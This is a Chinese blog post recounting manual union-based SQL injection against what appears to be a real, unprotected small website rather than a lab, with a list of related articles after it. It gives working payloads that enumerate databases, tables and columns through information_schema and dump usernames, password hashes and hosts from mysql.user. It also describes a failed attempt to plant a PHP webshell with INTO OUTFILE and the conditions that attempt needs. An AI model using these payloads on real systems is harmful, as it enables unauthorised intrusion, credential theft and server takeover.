记一次MySQL手工注入
本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎)
小站没有上WAF,用1=1、1=2就可以检测注入点,就不放截图了。
然后order by 、联合查询什么的也都是基本操作。。直接进入最关键的手工爆表好了。(已知第二列和第三列有回显,MySQL version是5.6,所以直接从information_schema中就可以方便的查询)
1、爆其他数据库;
查询语句为:xxx?id=-4 union select 1,SCHEMA_NAME,3,4,5,6,7,8 FROM information_schema.schemata
页面返回为:

2、爆其他表(数据库选择刚才爆出的mysql)
查询语句为:xxx?id=-4 union select 1,TABLE_NAME,3,4,5,6,7,8 FROM information_schema.tables WHERE TABLE_SCHEMA=0x6d7973716c
这里的0x6d7973716c是mysql的十六进制表示,如果直接写mysql字符串的话数据库是不能解析的,所以要传递16进制形式的数据库名

这里有很多表,我们只需关注user表就可以,其实其他的表也会存放一些敏感数据,比如该网站的注册会员的登录信息等等,但我们目标是服务器。
3、爆字段
查询语句为:xxx?id=-4 union select 1,COLUMN_NAME,3,4,5,6,7,8 FROM information_schema.columns WHERE TABLE_NAME=0x75736572
同理,0x75736572是user表的十六进制表示。

这里我们可能关心的是以上三列的数据,user、password、host,让我们进行最后的爆数据吧!
4、爆数据
查询语句为:xxx?id=-4 union select 1,concat_ws(0x2c,User,Password,Host),3,4,5,6,7,8 FROM mysql.user
由于我要查询的有三列数据,所以这里我用了concat_ws函数进行拼接后输出,0x2c是逗号

done,手工测试到此完成,可以说是非常非常普通的正规思路了,没有一点绕过的地方直接搞就行了。
其实这里我尝试用into outfile写php的一句话木马,但是发现没有成功,编码也不行,一直报mysql_fetch_array(): supplied argument is not a valid MySQL result resource的错误。
查了一些资料,使用mysql直接写入木马的必要条件有三:
1、root权限(排除)
2、知道网站根目录的地址(排除,从随便一个报错信息中都可以爆出物理绝对路径)
3、magic_quotes_gpc()=OFF(有可能)
4、没有write权限(有可能)
用sqlmap跑下试试,看来的确如此

大概就这些吧。
#########################
谁能告诉我为什么发布以后布局这么丑,蛋疼
记一次MySQL手工注入的更多相关文章
- MYSQL手工注入(详细步骤)—— 待补充
0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ▲基于错误的 SQL 注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL 盲注 ...
- MySQL手工注入学习-1
MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...
- 手工注入——MySQL手工注入实战和分析
今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...
- MySQL手工注入进阶篇——突破过滤危险字符问题
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...
- MYSQL手工注入某日本网站
作者:ice 团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...
- mysql手工注入
以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...
- mysql手工注入总结
mysql -u 用户名 -p 密码 -h IP地址 show databases; 查看数据库 select version(); php注入的版本号 use database(表名): sho ...
- mysql手工注入步骤
1.一般用 ' " ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...
- [MYSQL手工注入](3)基于报错的SQL注入实战
0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...
随机推荐
- 【Tensorflow】 Object_detection之准备数据生成TFRecord
参考:Preparing Inputs 1.PASCAL VOC数据集 数据集介绍: PASCAL Visual Object Classes 是一个图像物体识别竞赛,用来从真实世界的图像中识别特定对 ...
- 智能手表ticwatch穿戴体验
前言 可穿戴设备近几年越来越火,最开始是谷歌眼睛.手环,再到手表.VR眼镜,相信未来几年这片领域依旧火热~ 自从谷歌发布Android Wear.苹果发布Apple Watch之后,智能手表的战役就正 ...
- moment.js(moment-in-node.js)获取本月最后一天 不指定
http://tommyhu.cn/moment-in-nodejs/ //获取本月最后一天 to=using.moment(日期).endOf('month').format("YYYY- ...
- 关于TypeScript中null,undefined的使用
TypeScript本质是javascript,因此基本上js所有的功能在ts上完全可以照搬照抄过来使用.根据ts的文档,有些我觉得值得商榷的——比如null,undefined就是例子. 文档上说一 ...
- react native 完美解决启动白屏
先讲下我的RN版本0.58.5 首先安装react-native-splash-screen(目前使用的版本是3.2.0) 项目地址https://github.com/crazycodeboy/re ...
- goto语句和标签
goto 语句用于将执行流更改到标签处,虽然t-sql和pl/sql都提供了该语句,但是作为编程而言,我们不推荐使用此编程技术.要编写一个标签,应当在标识符后面加一个冒号.列如,下面示例使用goto语 ...
- Java 访问权限控制- protected 关键字
protected 关键字的真正内涵 文章来源:http://blog.csdn.net/justloveyou_/article/details/61672133 很多介绍Java语言的书籍(包括& ...
- kafka自定义序列化器
<kafka权威指南> Customer.java public class Customer { private int customId; private String custome ...
- 软件测试技术lab2——Selenium上机实验
Selenium上机实验说明 1.安装SeleniumIDE插件 2.学会使用SeleniumIDE录制脚本和导出脚本 3.访问http://121.193.130.195:8080/使用学号登录系统 ...
- 【转载】win7mysql5.7.18免安装配置教程
闲着没事,装个mysql试试,小编以前都是用的linux,感觉mysql安装就是傻瓜式操作啊,第一次在windows系统上装,感觉出了很多问题,现在将整个过程分享给大家,希望大家在安装的时候少走弯路. ...